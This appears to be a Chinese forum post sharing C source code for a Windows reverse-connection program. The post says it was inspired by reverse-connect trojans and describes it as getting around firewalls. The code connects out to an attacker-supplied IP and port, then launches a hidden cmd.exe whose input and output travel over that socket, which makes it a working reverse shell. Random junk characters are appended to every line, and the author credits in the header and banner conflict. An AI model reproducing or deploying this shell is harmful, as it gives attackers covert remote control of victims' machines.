这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 pr&=n;_ n
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/* ============================== __Nv0Ru
Rebound port in Windows NT 69OF_/23
By wind,2006/7 E=$p^s
===============================*/ 2YlH}fnH
#include j.%K_h?V5
#include H
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#pragma comment(lib,"wsock32.lib") .4-,_`T?
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void OutputShell(); ]rN#B-aAr
SOCKET sClient; R[jEvyD>(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &%mXYj3y5
!RH.|}
void main(int argc,char **argv) /.1.MssQM
{ !h`kX[:
WSADATA stWsaData; KzV 2MO-$
int nRet; f0>!qt
SOCKADDR_IN stSaiClient,stSaiServer; k|xtr&1N.!
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if(argc != 3) Iz@)!3h
{ ;j%BK(5
printf("Useage:\n\rRebound DestIP DestPort\n"); 2=iH$v
return; C\*4q8(
} ,xfO;yd
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WSAStartup(MAKEWORD(2,2),&stWsaData); !mMpb/&&S
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AUe# RP
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stSaiClient.sin_family = AF_INET; hA1-){aw3q
stSaiClient.sin_port = htons(0); .(CP. d
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /i]y$^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _O"mfXl6
{ ep/Y^&$M
printf("Bind Socket Failed!\n"); 5jxQW
;
return; ZJ*g))k7
} '#/G,%m<!i
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stSaiServer.sin_family = AF_INET; [U/(<?F{(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ._O
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ACq7dLys,B
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) eKvV*[Na
{ cLVe T
printf("Connect Error!"); :'iYxhM.V
return; =#gEB#$x:
} wU\s;
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OutputShell(); 4m)OR
} jPZaD>!
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void OutputShell() 26vp1
{ {gbn/{
char szBuff[1024]; L;Z0`mdz
SECURITY_ATTRIBUTES stSecurityAttributes; :Bu2,EL*O
OSVERSIONINFO stOsversionInfo; L|@y&di
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qqrq11W
STARTUPINFO stStartupInfo; svf|\p>]H
char *szShell; jz58E}
PROCESS_INFORMATION stProcessInformation; Y5ZZ3Ati
unsigned long lBytesRead; M-V&X&?j
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \;u@ "
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b` Hz$8
stSecurityAttributes.lpSecurityDescriptor = 0; O3DmNq$dz
stSecurityAttributes.bInheritHandle = TRUE; a2Pf/D]n
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); W6 H,6v
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l<0}l^C.
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~vlype3/EF
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |w aIpB(
stStartupInfo.wShowWindow = SW_HIDE; K*UgX(xu4P
stStartupInfo.hStdInput = hReadPipe; #jA[9gWI
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .
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GetVersionEx(&stOsversionInfo); +6wiOHB`
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switch(stOsversionInfo.dwPlatformId) $`R6=\|
{
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case 1: NT@;N /I
szShell = "command.com"; xk&Jl#v
break; {:@tQdM:i8
default: w2_bd7Wp<
szShell = "cmd.exe"; b)(?qfXWP
break; ?v>ET2wD
} -46C!6a
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ok|qyN+
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send(sClient,szMsg,77,0); fd-q3_f
while(1) OO[F E3F
{ -'~LjA(
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <! )**
if(lBytesRead) Hx,0zS%>
{ }!IL]0q
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]Oq[gBL"A
send(sClient,szBuff,lBytesRead,0); .9Y)AtJTS
} ~3uP6\F
else V< k8N^
{ C8z{XSo
lBytesRead=recv(sClient,szBuff,1024,0); da)NK!
if(lBytesRead<=0) break; -B86U6^s
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^%O]P`$
} xhcK~5C
} ZXm/A0)S
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return; }.s~T#v
}